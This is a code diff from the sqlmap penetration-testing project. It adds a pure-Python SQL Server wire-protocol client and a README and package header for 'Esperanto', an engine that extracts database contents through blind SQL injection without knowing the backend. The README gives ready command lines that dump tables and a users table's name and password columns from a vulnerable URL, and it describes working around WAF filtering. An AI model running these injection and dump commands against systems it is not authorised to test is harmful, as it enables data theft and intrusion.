+    ver = struct.pack(">IH", 0x11000000, 0)
+    enc = b"\x02"  # ENCRYPT_NOT_SUP
+    tokens = b"\x00" + struct.pack(">HH", 11, len(ver))
+    tokens += b"\x01" + struct.pack(">HH", 11 + len(ver), len(enc))
+    tokens += b"\xff"
+    _send_message(sock, _PKT_PRELOGIN, tokens + ver + enc)
+    body = _read_message(sock)
+    off = 0
+    while off < len(body) and _u8(body, off) != 0xff:
+        token = _u8(body, off)
+        toff, tlen = struct.unpack(">HH", body[off + 1:off + 5])
+        if token == 0x01 and _u8(body, toff) == 0x03:  # server requires encryption
+            raise NotSupportedError("server requires TDS encryption; the dependency-free client supports cleartext only")
+        off += 5
+
+# ---- LOGIN7 ------------------------------------------------------------------------------------------
+
+def _encode_password(password):
+    out = bytearray()
+    for b in bytearray(password.encode("utf-16-le")):
+        b = ((b << 4) & 0xf0) | ((b >> 4) & 0x0f)
+        out.append(b ^ 0xa5)
+    return bytes(out)
+
+def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire"):
+    fields = [
+        hostname.encode("utf-16-le"),
+        (user or "").encode("utf-16-le"),
+        _encode_password(password or ""),
+        appname.encode("utf-16-le"),
+        b"",                              # server name
+        b"",                              # (extension / unused)
+        "dbwire".encode("utf-16-le"),     # client interface name
+        b"",                              # language
+        (database or "").encode("utf-16-le"),
+    ]
+    char_counts = [6, len(user or ""), len(password or ""), 6, 0, 0, 6, 0, len(database or "")]
+
+    base = 94  # fixed header (36) + offset/length block (58)
+    var, offsets, cursor = b"", b"", base
+    for i, data in enumerate(fields):
+        offsets += struct.pack("<HH", cursor if data else base, char_counts[i])
+        var += data
+        cursor += len(data)
+
+    offsets += b"\x00" * 6                       # ClientID (MAC)
+    offsets += struct.pack("<HH", base, 0)       # SSPI
+    offsets += struct.pack("<HH", base, 0)       # AtchDBFile
+    offsets += struct.pack("<HH", base, 0)       # ChangePassword
+    offsets += struct.pack("<I", 0)              # cbSSPILong
+
+    header = struct.pack("<I", 0x74000004)       # TDS 7.4
+    header += struct.pack("<I", 4096)            # packet size
+    header += struct.pack("<I", 0)               # client prog version
+    header += struct.pack("<I", 0)               # client PID
+    header += struct.pack("<I", 0)               # connection id
+    # OptionFlags2 fODBC (0x02): make the server prepare the session like ODBC/FreeTDS - SET ANSI_DEFAULTS ON
+    # (ANSI_NULLS/WARNINGS/PADDING, CONCAT_NULL_YIELDS_NULL, QUOTED_IDENTIFIER) + TEXTSIZE 2147483647 (else the
+    # default 4096 silently truncates varchar(max)/text/image dumps) + IMPLICIT_TRANSACTIONS OFF + ROWCOUNT OFF
+    header += struct.pack("<BBBB", 0, 0x02, 0, 0)  # option flags 1, option flags 2 (fODBC), type flags, option flags 3
+    header += struct.pack("<i", 0)               # client time zone
+    header += struct.pack("<I", 0)               # client LCID
+
+    payload = header + offsets + var
+    payload = struct.pack("<I", len(payload) + 4) + payload  # prepend total length
+    _send_message(sock, _PKT_LOGIN7, payload)
+    _parse_tokens(sock, login=True)
+
+# ---- token stream + type decoding --------------------------------------------------------------------
+
+def _read_b_varchar(data, off):
+    # B_VARCHAR: 1-byte length in UCS-2 *characters* (not bytes), then that many 16-bit units. COLMETADATA's
+    # ColName is a B_VARCHAR (MS-TDS 2.2.7.4) - identifiers cap at 128 chars and an unaliased expression
+    # column comes back with an empty name, so the one-byte count cannot overflow.
+    (n,) = struct.unpack("<B", data[off:off + 1])
+    return data[off + 1:off + 1 + n * 2].decode("utf-16-le", "replace"), off + 1 + n * 2
+
+def _decode_datetime(raw):
+    days, ticks = struct.unpack("<iI", raw)
+    import datetime
+    return "%s" % (datetime.datetime(1900, 1, 1) + datetime.timedelta(days=days, milliseconds=ticks * 10.0 / 3.0))
+
+def _decode_money(raw):
+    if len(raw) == 4:
+        v = struct.unpack("<i", raw)[0]
+    else:  # 8 bytes: signed high dword, unsigned low dword
+        hi, lo = struct.unpack("<iI", raw)
+        v = (hi << 32) | lo
+    s = "%05d" % abs(v)  # scale 4; format from the integer (int64 money exceeds float's ~15-digit precision)
+    return ("-" if v < 0 else "") + s[:-4] + "." + s[-4:]
+
+def _decode_smalldatetime(raw):
+    import datetime
+    days, mins = struct.unpack("<HH", raw)  # 2-byte days since 1900-01-01 + 2-byte minutes
+    return "%s" % (datetime.datetime(1900, 1, 1) + datetime.timedelta(days=days, minutes=mins))
+
+def _decode_numeric(raw, scale):
+    sign = bytearray(raw)[0]  # 1 == positive, 0 == negative; magnitude is little-endian
+    magnitude = 0
+    for b in reversed(bytearray(raw[1:])):
+        magnitude = (magnitude << 8) | b
+    value = magnitude if sign else -magnitude
+    if scale:
+        s = "%0*d" % (scale + 1, abs(value))
+        return ("-" if value < 0 else "") + s[:-scale] + "." + s[-scale:]
+    return str(value)
+
+def _decode_guid(raw):
+    a, b, c = struct.unpack("<IHH", raw[:8])  # Data1/2/3 little-endian, Data4 big-endian (mixed-endian GUID)
+    d = raw[8:]
+    return "%08X-%04X-%04X-%s-%s" % (a, b, c,
+        "".join("%02X" % x for x in bytearray(d[:2])), "".join("%02X" % x for x in bytearray(d[2:])))
+
+def _decode_temporal(t, scale, raw):
+    # DATE 0x28 / TIME 0x29 / DATETIME2 0x2a / DATETIMEOFFSET 0x2b; time is scaled 10^-scale second units,
+    # rendered with the column's exact fractional precision (Python datetime only holds microseconds)
+    import datetime
+    offset = None
+    if t == 0x2b:  # trailing 2-byte signed offset (minutes from UTC); value bytes are stored as UTC
+        offset = struct.unpack("<h", raw[-2:])[0]
+        raw = raw[:-2]
+    has_date = t in (0x28, 0x2a, 0x2b)
+    has_time = t != 0x28
+    date_bytes = raw[-3:] if has_date else b""
+    time_bytes = (raw[:-3] if has_date else raw) if has_time else b""
+    days = struct.unpack("<I", date_bytes + b"\x00")[0] if has_date else 0
+    base = datetime.datetime(1, 1, 1) + datetime.timedelta(days=days)
+    frac = ""
+    if has_time:
+        ticks = struct.unpack("<Q", time_bytes + b"\x00" * (8 - len(time_bytes)))[0]
+        base += datetime.timedelta(seconds=ticks // (10 ** scale))
+        if scale:
+            frac = "." + ("%0*d" % (scale, ticks % (10 ** scale)))
+    if offset is not None:
+        base += datetime.timedelta(minutes=offset)
+    if t == 0x28:
+        return "%s" % base.date()
+    if t == 0x29:
+        return "%s" % base.time() + frac
+    s = "%s" % base + frac
+    if offset is not None:
+        sign, mins = ("+", offset) if offset >= 0 else ("-", -offset)
+        s += " %s%02d:%02d" % (sign, mins // 60, mins % 60)
+    return s
+
+# SQL Server COLLATION -> Python codec. The 5-byte collation is a little-endian uint32 (low 20 bits = LCID)
+# plus a 1-byte sort id: a non-zero sort id fixes the code page, else the LCID does. Only single-byte / DBCS
+# code pages need a codec (NVARCHAR is UTF-16, handled separately). Derived from pytds; default cp1252 (the
+# stock SQL_Latin1_General code page - NOT latin-1, whose 0x80-0x9F differ, corrupting e.g. the euro sign).
+_LCID_CP = {
+    0x405: "cp1250", 0x40e: "cp1250", 0x415: "cp1250", 0x418: "cp1250", 0x41a: "cp1250", 0x41b: "cp1250",
+    0x41c: "cp1250", 0x424: "cp1250", 0x402: "cp1251", 0x419: "cp1251", 0x422: "cp1251", 0x423: "cp1251",
+    0x42f: "cp1251", 0x408: "cp1253", 0x41f: "cp1254", 0x42c: "cp1254", 0x443: "cp1254", 0x40d: "cp1255",
+    0x401: "cp1256", 0x420: "cp1256", 0x429: "cp1256", 0x425: "cp1257", 0x426: "cp1257", 0x427: "cp1257",
+    0x42a: "cp1258", 0x41e: "cp874", 0x411: "cp932", 0x804: "cp936", 0x1004: "cp936", 0x412: "cp949",
+    0x404: "cp950", 0xc04: "cp950", 0x1404: "cp950",
+}
+
+def _sortid_cp(sid):
+    if 30 <= sid <= 34:
+        return "cp437"
+    if 40 <= sid <= 44 or sid == 49 or 55 <= sid <= 61:
+        return "cp850"
+    if sid in (51, 52, 53, 54) or 183 <= sid <= 186:
+        return "cp1252"
+    if 80 <= sid <= 96:
+        return "cp1250"
+    if 104 <= sid <= 108:
+        return "cp1251"
+    if 112 <= sid <= 124:
+        return "cp1253"
+    if 128 <= sid <= 130:
+        return "cp1254"
+    if 136 <= sid <= 138:
+        return "cp1255"
+    if 144 <= sid <= 146:
+        return "cp1256"
+    if 152 <= sid <= 160:
+        return "cp1257"
+    return None
+
+def _collation_codec(collation):
+    if not collation or len(collation) < 5:
+        return "cp1252"
+    lump = struct.unpack("<I", collation[:4])[0]
+    sid = bytearray(collation)[4]
+    if sid:
+        return _sortid_cp(sid) or "cp1252"
+    return _LCID_CP.get(lump & 0xfffff, "cp1252")
+
+def _decode_variant(body):
+    # SQL_VARIANT value: base type (1) | property-bytes count (1) | type-specific metadata | value bytes
+    b = bytearray(body)
+    base, propbytes = b[0], b[1]
+    meta, val = body[2:2 + propbytes], body[2 + propbytes:]
+    if base == 0x30:
+        return str(bytearray(val)[0])
+    if base == 0x32:
+        return "1" if bytearray(val)[0] else "0"
+    if base == 0x34:
+        return str(struct.unpack("<h", val)[0])
+    if base == 0x38:
+        return str(struct.unpack("<i", val)[0])
+    if base == 0x7f:
+        return str(struct.unpack("<q", val)[0])
+    if base == 0x3b:
+        return repr(struct.unpack("<f", val)[0])
+    if base == 0x3e:
+        return repr(struct.unpack("<d", val)[0])
+    if base in (0x3c, 0x7a):
+        return _decode_money(val)
+    if base == 0x3d:
+        return _decode_datetime(val)
+    if base == 0x3a:
+        return _decode_smalldatetime(val)
+    if base == 0x24:
+        return _decode_guid(val)
+    if base in (0x6a, 0x6c):  # decimal/numeric: metadata = precision, scale
+        return _decode_numeric(val, bytearray(meta)[1])
+    if base in (0xe7, 0xef):
+        return val.decode("utf-16-le", "replace")
+    if base in (0xa5, 0xad):
+        return val  # binary -> raw bytes
+    if base in (0xa7, 0xaf):  # (var)char: metadata = 5-byte collation + 2-byte max length
+        return val.decode(_collation_codec(meta[:5]), "replace")
+    if base == 0x28:
+        return _decode_temporal(base, 0, val)
+    if base in (0x29, 0x2a, 0x2b):  # metadata = scale
+        return _decode_temporal(base, bytearray(meta)[0], val)
+    return "".join("%02x" % x for x in bytearray(val))  # unknown base type -> hex (never desyncs)
+
+class _Column(object):
+    __slots__ = ("name", "type", "size", "scale", "binary", "collation")
+
+def _parse_type_info(data, off):
+    col = _Column()
+    col.type = _u8(data, off); off += 1
+    col.size, col.scale, col.binary, col.collation = 0, 0, False, None
+    t = col.type
+    if t in (0x30, 0x32, 0x34, 0x38, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x7a, 0x7f, 0x1f):
+        pass  # fixed-length types, size implied by type
+    elif t in (0x26, 0x68, 0x6d, 0x6e, 0x6f, 0x24):  # INTN/BITN/FLTN/MONEYN/DATETIMN/GUID
+        col.size = _u8(data, off); off += 1
+    elif t in (0x6a, 0x6c, 0x37, 0x3f):  # DECIMALN/NUMERICN + legacy DECIMAL/NUMERIC (size, precision, scale)
+        col.size = _u8(data, off); off += 1
+        off += 1  # precision
+        col.scale = _u8(data, off); off += 1
+    elif t in (0xa7, 0xaf, 0xe7, 0xef):  # (BIG)VARCHAR/CHAR, N(VAR)CHAR
+        col.size = struct.unpack("<H", data[off:off + 2])[0]; off += 2
+        col.collation = data[off:off + 5]; off += 5
+    elif t in (0xa5, 0xad):  # (BIG)VARBINARY / BINARY
+        col.size = struct.unpack("<H", data[off:off + 2])[0]; off += 2
+        col.binary = True
+    elif t in (0x28, 0x29, 0x2a, 0x2b):  # DATE/TIME/DATETIME2/DATETIMEOFFSET
+        if t != 0x28:
+            col.scale = _u8(data, off); off += 1
+    elif t == 0xf0:  # UDT (CLR geometry/geography/hierarchyid) - value arrives as PLP raw bytes
+        off += 2  # max byte size
+        for _ in range(3):  # db, schema, type name: B_VARCHAR
+            off += 1 + _u8(data, off) * 2
+        off += 2 + struct.unpack("<H", data[off:off + 2])[0] * 2  # assembly-qualified name: US_VARCHAR
+        col.binary = True
+    elif t == 0xf1:  # XML (value arrives PLP-encoded UTF-16, no size in TYPE_INFO)
+        if _u8(data, off):  # schema-present: B_VARCHAR dbname, B_VARCHAR owner, US_VARCHAR collection
+            off += 1
+            for _ in range(2):
+                off += 1 + _u8(data, off) * 2
+            off += 2 + struct.unpack("<H", data[off:off + 2])[0] * 2
+        else:
+            off += 1
+    elif t == 0x62:  # SQL_VARIANT (4-byte max length; per-value base type carried in the body)
+        col.size = struct.unpack("<i", data[off:off + 4])[0]; off += 4
+    elif t in (0x23, 0x63, 0x22):  # TEXT/NTEXT/IMAGE
+        col.size = struct.unpack("<i", data[off:off + 4])[0]; off += 4
+        if t in (0x23, 0x63):
+            col.collation = data[off:off + 5]; off += 5
+        col.binary = (t == 0x22)
+        # table name (num parts + parts) follows in COLMETADATA for these; handled by caller via name read
+    else:
+        raise NotSupportedError("unsupported TDS column type 0x%02x" % t)
+    return col, off
+
+def _read_plp(data, off):
+    # PLP (partially-length-prefixed) body: 8-byte total len (or 0xFF..FF NULL / 0xFF..FE unknown) then chunks
+    total = struct.unpack("<Q", data[off:off + 8])[0]; off += 8
+    if total == 0xffffffffffffffff:
+        return None, off
+    out = b""
+    while True:
+        (clen,) = struct.unpack("<I", data[off:off + 4]); off += 4
+        if clen == 0:
+            break
+        out += data[off:off + clen]; off += clen
+    return out, off
+
+def _decode_value(col, data, off):
+    t = col.type
+    # fixed-length
+    if t == 0x1f:
+        return None, off
+    if t == 0x30:
+        return str(_u8(data, off)), off + 1
+    if t == 0x34:
+        return str(struct.unpack("<h", data[off:off + 2])[0]), off + 2
+    if t == 0x38:
+        return str(struct.unpack("<i", data[off:off + 4])[0]), off + 4
+    if t == 0x7f:
+        return str(struct.unpack("<q", data[off:off + 8])[0]), off + 8
+    if t == 0x32:
+        return ("1" if _u8(data, off) else "0"), off + 1
+    if t == 0x3b:
+        return repr(struct.unpack("<f", data[off:off + 4])[0]), off + 4
+    if t == 0x3e:
+        return repr(struct.unpack("<d", data[off:off + 8])[0]), off + 8
+    if t == 0x7a:  # MONEY4 (4 bytes)
+        return _decode_money(data[off:off + 4]), off + 4
+    if t == 0x3c:  # MONEY (8 bytes: high dword then low dword)
+        return _decode_money(data[off:off + 8]), off + 8
+    if t == 0x3d:  # DATETIME (8 bytes)
+        return _decode_datetime(data[off:off + 8]), off + 8
+    if t == 0x3a:  # DATETIM4 / smalldatetime (4 bytes)
+        return _decode_smalldatetime(data[off:off + 4]), off + 4
+
+    # variable-length with a length prefix
+    if t in (0xa7, 0xaf, 0xe7, 0xef, 0xa5, 0xad):
+        if col.size == 0xffff:  # MAX types use PLP
+            raw, off = _read_plp(data, off)
+        else:
+            (n,) = struct.unpack("<H", data[off:off + 2]); off += 2
+            if n == 0xffff:
+                return None, off
+            raw, off = data[off:off + n], off + n
+        if raw is None:
+            return None, off
+        if t in (0xa5, 0xad):
+            return raw, off  # binary -> raw bytes
+        if t in (0xe7, 0xef):
+            return raw.decode("utf-16-le", "replace"), off
+        return raw.decode(_collation_codec(col.collation), "replace"), off  # (var)char: the collation's code page
+
+    if t in (0x23, 0x63, 0x22):  # TEXT/NTEXT/IMAGE: 1-byte textptr len (0 = NULL) then textptr+timestamp then 4-byte len
+        ptr_len = _u8(data, off); off += 1
+        if ptr_len == 0:
+            return None, off
+        off += ptr_len + 8
+        (n,) = struct.unpack("<i", data[off:off + 4]); off += 4
+        raw, off = data[off:off + n], off + n
+        if t == 0x22:
+            return raw, off
+        if t == 0x63:
+            return raw.decode("utf-16-le", "replace"), off
+        return raw.decode(_collation_codec(col.collation), "replace"), off  # TEXT: the collation's code page
+
+    if t == 0xf1:  # XML: PLP-encoded UTF-16-LE
+        raw, off = _read_plp(data, off)
+        return (raw.decode("utf-16-le", "replace") if raw is not None else None), off
+
+    if t == 0xf0:  # UDT (geometry/geography/hierarchyid): PLP raw bytes -> sqlmap hex-encodes them
+        return _read_plp(data, off)
+
+    if t == 0x62:  # SQL_VARIANT: 4-byte total length (0 = NULL) then a self-describing value body
+        (total,) = struct.unpack("<i", data[off:off + 4]); off += 4
+        if total <= 0:
+            return None, off
+        body, off = data[off:off + total], off + total
+        return _decode_variant(body), off
+
+    # nullable / length-prefixed numeric & misc
+    (n,) = struct.unpack("<B", data[off:off + 1]); off += 1
+    if n == 0:
+        return None, off
+    raw, off = data[off:off + n], off + n
+    if t == 0x26:  # INTN (size 1 is unsigned tinyint; 2/4/8 are signed)
+        return str(struct.unpack({1: "<B", 2: "<h", 4: "<i", 8: "<q"}[n], raw)[0]), off
+    if t == 0x68:  # BITN
+        return ("1" if bytearray(raw)[0] else "0"), off
+    if t == 0x6d:  # FLTN
+        return repr(struct.unpack("<f" if n == 4 else "<d", raw)[0]), off
+    if t in (0x6e, 0x3d, 0x7a):  # MONEYN / MONEY / MONEY4
+        return _decode_money(raw), off
+    if t in (0x6a, 0x6c, 0x37, 0x3f):  # DECIMALN / NUMERICN (+ legacy DECIMAL / NUMERIC)
+        return _decode_numeric(raw, col.scale), off
+    if t == 0x24:  # GUID
+        return _decode_guid(raw), off
+    if t == 0x6f:  # DATETIMN (n=8 datetime, n=4 smalldatetime)
+        return (_decode_datetime(raw) if n == 8 else _decode_smalldatetime(raw)), off
+    if t in (0x28, 0x29, 0x2a, 0x2b):  # DATE / TIME / DATETIME2 / DATETIMEOFFSET
+        return _decode_temporal(t, col.scale, raw), off
+    # unknown layout: return the raw hex as a last resort (never desyncs)
+    return "".join("%02x" % x for x in bytearray(raw)), off
+
+def _parse_tokens(sock, login=False):
+    data = _read_message(sock)
+    off, columns, rows, description, error, affected = 0, [], [], None, None, None
+    while off < len(data):
+        token = _u8(data, off); off += 1
+        if token == 0x81:  # COLMETADATA (a new result set: drop any prior rows so only the last is returned)
+            (count,) = struct.unpack("<H", data[off:off + 2]); off += 2
+            columns, rows, affected = [], [], None
+            if count == 0xffff:
+                continue
+            for _ in range(count):
+                off += 4  # user type
+                off += 2  # flags
+                col, off = _parse_type_info(data, off)
+                if col.type in (0x23, 0x63, 0x22):  # TEXT/NTEXT/IMAGE carry a table name before the col name
+                    (numparts,) = struct.unpack("<B", data[off:off + 1]); off += 1
+                    for _ in range(numparts):
+                        (plen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + plen * 2
+                col.name, off = _read_b_varchar(data, off)
+                columns.append(col)
+            description = [(c.name, c.type, None, None, None, None, None) for c in columns]
+        elif token == 0xd1:  # ROW
+            row = []
+            for col in columns:
+                value, off = _decode_value(col, data, off)
+                row.append(value)
+            rows.append(tuple(row))
+        elif token == 0xd2:  # NBCROW (null-bitmap compressed)
+            nbc_len = (len(columns) + 7) // 8
+            bitmap = bytearray(data[off:off + nbc_len]); off += nbc_len
+            row = []
+            for i, col in enumerate(columns):
+                if bitmap[i // 8] & (1 << (i % 8)):
+                    row.append(None)
+                else:
+                    value, off = _decode_value(col, data, off)
+                    row.append(value)
+            rows.append(tuple(row))
+        elif token == 0xaa:  # ERROR
+            (tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2
+            msg_off = off + 4 + 1 + 1  # number(4) state(1) class(1)
+            (mlen,) = struct.unpack("<H", data[msg_off:msg_off + 2])
+            error = data[msg_off + 2:msg_off + 2 + mlen * 2].decode("utf-16-le", "replace")
+            off += tlen
+        elif token == 0xab:  # INFO
+            (tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
+        elif token == 0xad:  # LOGINACK
+            (tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
+        elif token == 0xe3:  # ENVCHANGE
+            (tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
+        elif token == 0x79:  # RETURNSTATUS
+            off += 4
+        elif token == 0xa9:  # ORDER
+            (tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
+        elif token in (0xfd, 0xfe, 0xff):  # DONE / DONEPROC / DONEINPROC
+            status, _curcmd, rowcount = struct.unpack("<HHq", data[off:off + 12])
+            if status & _DONE_COUNT:        # only then is DoneRowCount meaningful (MS-TDS 2.2.7.5)
+                affected = rowcount if affected is None else affected + rowcount
+            off += 12
+        else:
+            raise InterfaceError("unexpected TDS token 0x%02x" % token)
+
+    if error is not None:
+        if login:
+            raise OperationalError("(remote) %s" % error)
+        raise ProgrammingError("(remote) %s" % error)
+    return description, rows, affected
+
+class Cursor(object):
+    def __init__(self, connection):
+        self.connection = connection
+        self.description = None
+        self.rowcount = -1
+        self._rows = []
+        self._pos = 0
+
+    def execute(self, query, params=None):
+        if params is not None:
+            raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+        self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+        self.description, self._rows, affected = self.connection._query(query)
+        # a result-producing statement reports what it returned; DML has no rows, so the server's
+        # DoneRowCount is the only place its affected-row count exists
+        self.rowcount = len(self._rows) if self.description is not None else (affected if affected is not None else -1)
+        return self
+
+    def fetchall(self):
+        retVal = self._rows[self._pos:]
+        self._pos = len(self._rows)
+        return retVal
+
+    def fetchone(self):
+        if self._pos >= len(self._rows):
+            return None
+        retVal = self._rows[self._pos]
+        self._pos += 1
+        return retVal
+
+    def close(self):
+        self._rows = []
+
+class Connection(object):
+    def __init__(self, sock):
+        self._sock = sock
+
+    def cursor(self):
+        return Cursor(self)
+
+    def commit(self):
+        pass  # sqlmap issues autonomous statements; SET IMPLICIT_TRANSACTIONS is off by default
+
+    def rollback(self):
+        pass
+
+    def close(self):
+        try:
+            self._sock.close()
+        except Exception:
+            pass
+
+    def _query(self, query):
+        # TDS 7.2+ SQL batch must be prefixed with ALL_HEADERS carrying the transaction descriptor header
+        headers = struct.pack("<I", 22) + struct.pack("<I", 18) + struct.pack("<H", 2) + struct.pack("<Q", 0) + struct.pack("<I", 1)
+        _send_message(self._sock, _PKT_SQL_BATCH, headers + query.encode("utf-16-le"))
+        try:
+            return _parse_tokens(self._sock)
+        except (struct.error, IndexError, ValueError, KeyError) as ex:
+            raise InterfaceError("malformed server response: %s" % ex)
+
+def connect(host=None, port=1433, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+    try:
+        sock = socket.create_connection((host or "localhost", int(port or 1433)), timeout=connect_timeout)
+        keepalive(sock)
+    except (socket.error, socket.timeout) as ex:
+        raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
+
+    try:
+        _prelogin(sock)
+        _login7(sock, user, password, database)
+        handshake_done(sock)
+    except (DatabaseError, InterfaceError):
+        try:
+            sock.close()
+        except Exception:
+            pass
+        raise
+    except Exception as ex:
+        try:
+            sock.close()
+        except Exception:
+            pass
+        raise OperationalError("TDS login failed (%s)" % ex)
+
+    return Connection(sock)

extra/esperanto/README.md

@@ -0,0 +1,148 @@
+# Esperanto
+
+A DBMS-agnostic blind-extraction engine that speaks one "esperanto" at any SQL back-end, driven by
+nothing but a boolean oracle.
+
+## What this is
+
+Ordinary blind SQL injection retrieval needs to know the back-end first: sqlmap fingerprints the
+DBMS, loads that dialect's `queries.xml` row, and extracts with it. When the DBMS cannot be
+identified - an unknown or heavily-firewalled target, an exotic engine, a fork that answers unlike
+its parent - that pipeline dead-ends.
+
+Esperanto removes the prerequisite. Given only a **boolean oracle** - a callable
+`oracle(condition) -> bool` that reports whether an arbitrary SQL boolean expression holds at the
+target - it discovers the dialect from scratch (string concatenation, substring / length /
+character-code functions, the usable comparison operator, the catalog surface) and then extracts
+data character-by-character, without ever being told which DBMS is on the other end.
+
+The candidate SQL forms it probes are distilled from sqlmap's own `data/xml/queries.xml` across all
+supported DBMSes: rather than fingerprint-then-load-one-dialect, it reuses that accumulated knowledge
+as a single language it tries to speak at any backend. The engine is self-contained (no sqlmap
+imports) and runs unmodified on Python 2.7 and Python 3.
+
+## Usage
+
+Inside sqlmap, via the `--esperanto` switch. sqlmap detects the boolean-blind injection as usual,
+then hands the engine its own oracle (`checkBooleanExpression`, which rides the full request /
+comparison / WAF stack) instead of fingerprinting. The normal enumeration switches then work against
+an unidentified back-end:
+
+```
+python sqlmap.py -u 'http://host/vuln?id=1' --esperanto --banner --tables --dump -T users
+```
+
+Standalone, straight from this directory (no sqlmap, no `PYTHONPATH`):
+
+```
+python run.py -u 'http://host/vuln?id=1*' --tables --dump -T users
+python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --dump -T users -C uname,pass
+python run.py --self-test
+```
+
+The `*` (or an explicit `[INFERENCE]`) marks the injection point; without one it defaults to the end
+of the URL. The true/false oracle is taken from `--string` / `--code`, or
+auto-calibrated from the response when none is given.
+
+## How it works
+
+Discovery is a set of capability ladders. For each primitive it tries the known SQL forms in turn and
+keeps the first that a small set of probes proves correct, so a backend that lacks - or a WAF that
+filters - one form falls through to the next rather than failing:
+
+| Primitive        | Ladder (first that works wins) |
+|------------------|--------------------------------|
+| Concatenation    | `\|\|`, `CONCAT()`, `+`, `&` |
+| Substring        | `SUBSTR` / `SUBSTRING` / `MID`, else `LEFT`/`RIGHT` composition |
+| Length           | a length function, else derived from the substring's end |
+| Character read   | code point (`ASCII`/`UNICODE`/`ORD`/...), collation-forced byte order, hex, ordinal, `=` scan |
+| Comparison       | `>`, else `BETWEEN`, else an operator-free ordered form (`SIGN`/`ABS`/`LEAST`/...), else order-free `IN()` |
+| No-substring floor | `LIKE` / `GLOB` / `SIMILAR TO` pattern matching |
+
+Each candidate is accepted only against a semantic check (for example, the comparison ladder is
+validated across a signed truth table, not two positive samples), so a rewriting layer that turns
+`>` into `>=` is rejected rather than silently mis-reading every count and length.
+
+Discovery produces a `Dialect`; `identify()` then fuses catalog family, required dual-table and
+version-banner evidence into a best-guess product. Enumeration walks catalogs by keyset
+(`MIN(name) WHERE name > prev`) with no dialect row-limiter, and `dump()` reconstructs rows by a
+discovered primary/unique key, else a physical row-id, else the row's own value.
+
+## Interface
+
+```python
+from extra.esperanto import Esperanto
+
+esp = Esperanto(oracle)          # oracle(condition_str) -> bool
+esp.discover()                   # ladder out the dialect
+esp.identify()                   # best-guess product + evidence
+esp.extract("(SELECT ...)")      # one scalar, char-by-char
+esp.dump("users", schema="app")  # {columns, rows, complete, exact, keyed_by}
+esp.enumerate("table")           # keyset catalog walk
+```
+
+- The **oracle contract** is strict tri-state: return `True` / `False` for an observed result; a
+  transport or observation failure must raise (or return a non-boolean), which the engine treats as
+  *undecided* rather than a definitive `False`. A wrong-dialect or unsupported probe is expected to be
+  reported as `False` by the oracle itself.
+- `buildHandler()` is the sqlmap adapter (`--esperanto`), a `dbmsHandler` that maps sqlmap's
+  enumeration calls onto the engine. sqlmap-core imports are deferred inside it so the rest of the
+  package stays dependency-free.
+- `strategy()` freezes the discovered dialect into an immutable `InferenceStrategy` of pure `render_*`
+  methods (no oracle, no loop), and `hostExtract()` is a reference host loop that extracts using only
+  a strategy plus an oracle.
+
+## Integrity model
+
+Every recovered value carries an `Integrity` classification so a caller can tell "we visited every
+position" apart from "the bytes are provably the source's":
+
+| State                 | Meaning |
+|-----------------------|---------|
+| `EXACT`               | proven byte-identical to the source (or a proven `NULL`) |
+| `WHOLE_BUT_AMBIGUOUS` | every position read, but case/accent is uncertain (collation-dependent comparison, no byte-exact primitive) |
+| `TRUNCATED`           | a bounded prefix; the source continues |
+| `UNRESOLVED`          | a character could not be recovered |
+| `FAILED`              | could not observe or verify |
+
+The engine is designed to fail closed: it never manufactures a `False` from an unobservable probe,
+never silently substitutes or drops a character, distinguishes `NULL` from empty string, and reports
+a dump along two independent axes - `complete` (coverage: every row) and `exact` (content: the values
+are byte-faithful). `EXACT` is claimed only when a byte-faithful witness backs the value.
+
+## Scope and limitations
+
+This is a last-resort engine for targets a normal fingerprint cannot reach, not a replacement for
+sqlmap's native retrieval. Known boundaries:
+
+- **Throughput.** Extraction is one boolean question per request, char-by-char; it is bounded by the
+  information theory of a boolean oracle (about one bit per request) and by network latency. It is
+  built for reach, not speed.
+- **Namespace.** Database, schema and owner are currently handled as a single scope name. Fully
+  separated, backend-aware qualification (for example SQL Server `database.schema.table` via a
+  `sys.schemas` join) is not yet modelled, so schema scoping on those engines is best-effort.
+- **Encoding.** The back-end's declared character set is read from its own catalog and mapped to a
+  codec (with the vendor quirks - MySQL `latin1` is Windows-1252, Oracle `WE8MSWIN1252` too),
+  resolving the common cases definitively. A column whose character set differs from the database
+  default, or a set outside the mapped list, decodes best-effort and is marked non-exact rather
+  than asserted.
+- **Strategy hand-off.** The exported `InferenceStrategy` / `hostExtract()` drive the character
+  comparison modes under an ordered comparator; they do not yet drive the pattern-only or
+  membership-only modes, and the frozen field set does not yet carry every discovered semantic.
+
+Where a value cannot be recovered exactly, the engine surfaces its `Integrity` rather than presenting
+it as trustworthy.
+
+## Self-test
+
+```
+python run.py --self-test
+```
+
+runs the engine against an in-memory SQLite oracle across every compare mode plus identification,
+byte extraction, noisy-oracle quorum voting, the fail-closed integrity invariants and the frozen
+strategy hand-off. The regression corpus lives in `tests/test_esperanto.py`.
+
+---
+
+Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission.

extra/esperanto/__init__.py

@@ -0,0 +1,30 @@
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+esperanto - a DBMS-agnostic SQL poking prototype.
+
+Given only a boolean oracle - a callable oracle(condition) -> bool that reports
+whether an arbitrary SQL boolean expression holds at the target - this discovers
+the target's SQL dialect from scratch (concatenation operator, substring / length
+/ char-code functions, string comparison, catalog surface) and then extracts data
+char-by-char WITHOUT ever being told which DBMS is on the other end.
+
+The candidate variants below are harvested from sqlmap's own data/xml/queries.xml
+across all 31 supported DBMSes - the point is to reuse that accumulated knowledge
+as a single "esperanto" the tool speaks at any backend, rather than fingerprinting
+first and loading one dialect.
+
+This is a self-contained research prototype (no sqlmap imports); run it directly
+for a built-in self-test against an in-memory SQLite oracle.
+"""
+
+__version__ = "1.0.0"
+
+from .engine import Esperanto
